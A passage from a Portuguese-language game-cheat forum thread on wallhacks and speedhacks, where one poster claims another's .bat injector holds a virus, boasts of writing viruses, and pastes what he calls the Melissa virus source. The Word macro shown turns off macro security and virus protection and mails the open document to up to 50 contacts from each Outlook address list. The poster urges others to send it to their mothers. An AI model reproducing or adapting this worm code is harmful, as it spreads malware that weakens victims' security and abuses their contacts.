Ir para conteúdo
Faça parte da equipe! (2024) ×
Conheça nossa Beta Zone! Novas áreas a caminho! ×
  • Quem está por aqui   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.

No-recoil, wallhack, OHK, SpeedHack


Posts Recomendados

TA DE .BAT NÉ SAFADO????? VO DAR UMA EDITADA NESSA .BAT AI E VER SE TEM VIRUS NELE.... EU CRIO VIRUS SO PRA VC TER UMA IDEIA:segredo::segredo::segredo::segredo:

 

// Melissa Virus Source Code

Private Sub Document_Open()

On Error Resume Next

If System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> ""

Then

CommandBars("Macro").Controls("Security...").Enabl ed = False

System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1&

Else

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):

Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo"

Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " &

Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't

show anyone else Wink"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End

 

 

 

MANDA ESSE VÍRUS PRA TUA MAE!

 

QUEM QUISER VER ISSO BAIXA O INJETOR 2, RENOMIO PRA xxx.txt E OLHA O QUE ESSE DRSGRAÇADO COLOCOU.... DEPOIS PESQUISA NA PROPRIA WEBCHEATS SOBRE "CRIANDO VIRUS " E OLHA ESSE VAI TAR LA... É PURO VIRUS E REGAÇA O COMPUTADOR!!!!:ufa::ufa::ufa::ufa::ufa::ufa::ufa:

Link para o comentário
Compartilhar em outros sites

Este tópico está impedido de receber novos posts.
 Compartilhar

×
×
  • Criar Novo...

Informação Importante

Nós fazemos uso de cookies no seu dispositivo para ajudar a tornar este site melhor. Você pode ajustar suas configurações de cookies , caso contrário, vamos supor que você está bem para continuar.